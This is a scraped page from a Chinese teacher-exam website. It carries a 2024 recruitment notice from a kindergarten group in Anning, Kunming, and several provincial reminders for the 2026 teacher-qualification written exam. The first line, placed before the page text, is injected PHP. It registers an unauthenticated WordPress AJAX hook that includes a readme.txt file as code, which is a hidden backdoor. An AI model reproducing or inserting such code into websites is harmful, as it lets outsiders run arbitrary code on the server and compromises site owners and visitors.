if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
云南昆明安宁市第六幼儿园教育集团2024年补充招聘合同制教职工公告-全国教师资格考试网

云南昆明安宁市第六幼儿园教育集团2024年补充招聘合同制教职工公告

  为进一步加强教职工队伍建设,提升安宁市第六幼儿园教育集团下辖各园保教工作水平,根据工作需要,经研究,安宁市第六幼儿园教育集团将开展2024年9月合同制教职工补充招聘工作,共招聘2名合同制教职工。现将相关事项公告如下:

  一、招聘岗位计划

  安宁市太平新城第一幼儿园专任教师1名,食堂工作人员1名,共计2名,详见《安宁市第六幼儿园教育集团2024年9月补充招聘合同制教职工岗位计划表》(附件1)。

  二、应聘人员资格条件

  (一)基本条件

  1.具有中华人民共和国国籍,遵守宪法和法律;

  2.具有良好的品行;

  3.具备招聘岗位所需的专业或任职资格、职业(执业)资格及技能要求;

  4.具备适应岗位要求的身体条件;

  5.具备岗位所需要的其他条件。

  受到党纪、政务处分期限未满或者正在接受纪律审查、监察调查和受到刑事处罚期限未满或者正在接受司法调查尚未做出结论的人员,均不得参加合同制教职工应聘。

  (二)除上述基本条件外,还应具备以下条件

  1.专任教师

  (1)学前教育专业专科及以上学历;

  (2)具有幼儿园教师资格证;

  (3)普通话达到二级甲等及以上;

  (4)年龄在35周岁及以下(1988年9月1日及以后出生),硕士及以上研究生可放宽到40周岁(1983年9月1日及以后出生);

  (5)参照《公务员录用体检通用标准(试行)》及相关规定体检合格。

  2.食堂工作人员

  (1)初中及以上学历;

  (2)具备食堂岗位所需要的技能。持有食堂岗位从业资格证(烹调师证、面点师证等)或有食堂岗位工作经历的优先。

  (3)年龄在48周岁及以下(1975年9月1日及以后出生);

  (4)参照《公务员录用体检通用标准(试行)》及相关规定体检合格。

  招聘人员在办理聘用手续前需取得相应资格证书。

  三、招聘范围、对象

  面向社会公开招聘符合上述条件的人员(不含安宁市内公办幼儿园在职在岗教职工)。

  四、报名及资格审查

  (一)报名时间:2024年9月11日9:00—9月13日17:00

  (二)报名方式及所需材料

  本次招聘采用网络(邮箱)报名方式进行,所需材料及报送要求如下:

  1.专任教师

  (1)《安宁市第六幼儿园教育集团招聘合同制教职工报名登记表》(附件2)本人签名扫描件1份;

  (2)《个人承诺书》(附件3)本人签名扫描件1份;

  (3)身份证、毕业证、教师资格证、普通话等级证扫描件(原件扫描)各1份。

  2.食堂工作人员

  (1)《安宁市第六幼儿园教育集团招聘合同制教职工报名登记表》(附件2)本人签名扫描件1份;

  (2)《个人承诺书》(附件3)本人签名扫描件1份;

  (3)身份证、毕业证扫描件(原件扫描)各1份。有食堂岗位从业资格证(烹调师证、面点师证等)的请一并报送。

  3.以上报名材料打包成一个压缩文件,以“姓名+应聘幼儿园”命名,如张XX+安宁市太平新城第一幼儿园,发送至幼儿园指定邮箱。

  安宁市太平新城第一幼儿园报名邮箱:1272789682@qq.com(联系人:吴老师19988740504)

  4.面试时需携带以上报名材料原件及复印件1份交工作人员查验。

  (三)资格审查

  由幼儿园对应聘人员进行资格审查,资格审查情况通过电话(或短信)通知应聘人员本人,资格审查通过的方可进入下一环节。资格审查贯穿整个招聘工作全过程,凡发现与《安宁市第六幼儿园教育集团2024年9月补充招聘合同制教职工公告》中应聘人员资格条件不符或弄虚作假的,将取消其聘用资格。

  (四)报名注意事项

  1.应聘人员在本次招聘中限报1个岗位。报名结束后对本次所有招聘岗位进行查重,如发现报考2个及以上岗位的人员取消本人本次所有报考岗位考试资格。

  2.应聘人员需在规定时间内将报名所需材料发送到指定邮箱,逾期不再受理。

  3.报名和考试使用的身份证必须一致。

  4.应聘人员对自己提供的报名信息和材料真实性负责。

  5.因应聘人员个人原因错填、误填个人信息导致不能参加后续程序,由应聘人员本人负责。

  五、考试

  专任教师考试采用先面试再笔试的方式进行,其余教职工通过考核考察方式进行。

  (一)专任教师面试

  1.面试时间:2024年9月18日9:00

  2.面试地点:

  安宁市太平新城第一幼儿园(安宁市太平新城星辉路81号阳光城文澜公馆二期)。

  3.面试方式:面试不设开考比例,面试满分为 100分,面试时间20分钟。面试主要内容包括弹唱、舞蹈、绘画、试讲,其中弹唱、舞蹈、绘画共10分钟,试讲10分钟(提前20分钟抽取试讲题目)。请每位应聘人员自行准备弹唱(自弹自唱歌曲一首,考点提供钢琴)、舞蹈(自备音乐,MP3格式,用U盘拷贝)、绘画(现场作画,考点提供水彩笔和画纸)。面试最低合格分数线为70分。

  (二)专任教师笔试

  1.笔试内容:教育理论基础知识和相关专业知识。

  2.笔试方式:根据面试成绩从高到低在最低合格分数线及以上人员中按招聘岗位计划数与参加笔试人数1:5比例确定进入笔试人选,考试当日因特殊情况达不到1:5比例的可正常进行笔试。笔试考试方式为闭卷考试。笔试满分为100分。

  3.笔试其他事宜另行通知。

  (三)考试成绩公示

  专任教师面试成绩占考试综合成绩的60%,笔试成绩占考试综合成绩的40%。考试综合成绩最低合格分数线为70分。专任教师考试综合成绩在“安宁教育体育”微信公众号和“安宁市第六幼儿园”微信公众号公示5个工作日。

  (四)食堂工作人员主要通过考核考察方式按照岗位计划择优录用

  考核时间:2024年9月18日14:00

  考核地点:

  安宁市太平新城第一幼儿园(安宁市太平新城星辉路81号阳光城文澜公馆二期)。

  考核内容:教职工的思想素质、资格条件和能力等与拟聘岗位是否匹配,是否能胜任工作岗位。

  六、考察和体检

  (一)专任教师考试综合成绩公示无异议的,依据考试综合成绩,在最低合格分数线及以上从高分到低分按招聘岗位计划人数1:1比例确定考察和体检人员。

  (二)其余通过考核的食堂工作人员,由幼儿园按照招聘岗位计划人数1:1确定考察体检人员。

  (三)资格复审和考察体检同时进行,考察、体检由幼儿园具体组织实施。体检参照《公务员录用体检通用标准(试行)》及相关规定执行。体检医院为县级及以上公立医院。

  (四)专任教师在考察或体检中不合格的人员,取消其拟聘用资格,因此产生的空缺由幼儿园自行确定是否从本岗位已完成全部考试环节的人员中,在最低合格分数线及以上按照考试综合成绩由高到低依次递补。

  (五)食堂工作人员在考察或体检中不合格的人员,取消其拟聘用资格,因此产生的空缺由幼儿园自行确定是否从本岗位已完成考核环节的人员中择优依次递补。

  七、合同制教职工的管理、考核及待遇

  (一)拟聘人员在“安宁教育体育”微信公众号和“安宁市第六幼儿园”微信公众号公示5个工作日。经公示无异议的,由幼儿园委托人力资源服务机构与聘任教职工签订劳动合同。

  (二)本次招聘的教职工须于2024年10月份内到岗,具体时间以幼儿园通知为准。

  (三)幼儿园对合同制教职工进行管理和考核,考核结果作为发放工资、续聘或辞退的依据。

  (四)幼儿园合同制教职工工资包括基本工资、绩效工资、个人和单位承担的“五险一金”等,具体可电话咨询。

  八、招聘纪律

  (一)招聘工作做到信息公开、过程公开、结果公开,接受监督。

  (二)招聘人员实行回避制度。凡与招聘幼儿园负责人有夫妻关系、直系血亲关系、三代以内旁系血亲关系或者近姻亲关系的应聘人员,不得应聘该幼儿园的人事、财务、纪律检查岗位,以及有直接上下级领导关系的岗位。聘用幼儿园负责人和招聘工作人员在办理招聘事项时,涉及与本人有上述亲属关系或者其他可能影响招聘公正的,应当回避。

  (三)应聘人员有下列情形之一的,取消应聘资格,与受聘人员解除聘用合同,构成犯罪的,依法追究刑事责任。

  1.伪造、涂改证件、证明,或以其他不正当手段获得应聘资格的;

  2.在考试、考察和体检过程中作弊的;

  3.其他违反公开招聘有关规定的行为。

  九、其他事项

  (一)有下列情形之一的,视为自行放弃:

  1.应聘人员自愿放弃的(提交本人亲笔签名的书面情况说明);

  2.公示期满,联系不上应聘人员本人的;

  3.拟聘用人员不能按招聘公告要求到岗履职的。

  (二)有以下情形之一的,专任教师由幼儿园自行确定是否从本岗位已完成全部考试环节的人员中,在最低合格分数线及以上按照考试综合成绩由高到低依次递补;其余教职工由幼儿园自行确定是否从本岗位已完成考核考察环节的人员中择优依次递补:

  1.拟聘人员考察或体检不合格的;

  2.在拟聘用公示期间或期满后至办理聘用手续之前,发现拟聘用人员条件不符或自行放弃的。

  (三)招聘工作中各环节通知及补充事项将及时在“安宁教育体育”微信公众号和“安宁市第六幼儿园”微信公众号发布,招聘期间,应聘人员应注意了解招聘工作进程和有关事项通知,并保持报名时登记的联系电话畅通,收到信息及时回复。所有事项凡在“安宁教育体育”微信公众号和“安宁市第六幼儿园”微信公众号公告即视为应聘人员已经知晓,若因应聘人员不及时查看微信公众号公告或联系电话不畅通而造成的后果,由应聘人员本人承担。

  (四)未尽事宜按相关规定执行。

  (五)本公告由安宁市第六幼儿园教育集团负责解释。

  十、监督电话

  安宁市教育体育局:0871—68683032

  安宁市纪委市监委驻市教育体育局纪检监察组:0871—68695809

  十一、报名咨询电话

  安宁市太平新城第一幼儿园:

  13700600404(唐老师)

  19988740504(吴老师)

 

  附件1.《安宁市第六幼儿园教育集团2024年9月补充招聘合同制教职工岗位计划表》(2024.9.2).xlsx 

  附件2.《安宁市第六幼儿园教育集团招聘合同制教职工报名登记表》.doc

  附件3.《个人承诺》.doc

 

     安宁市第六幼儿园教育集团

           2024年9月2日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部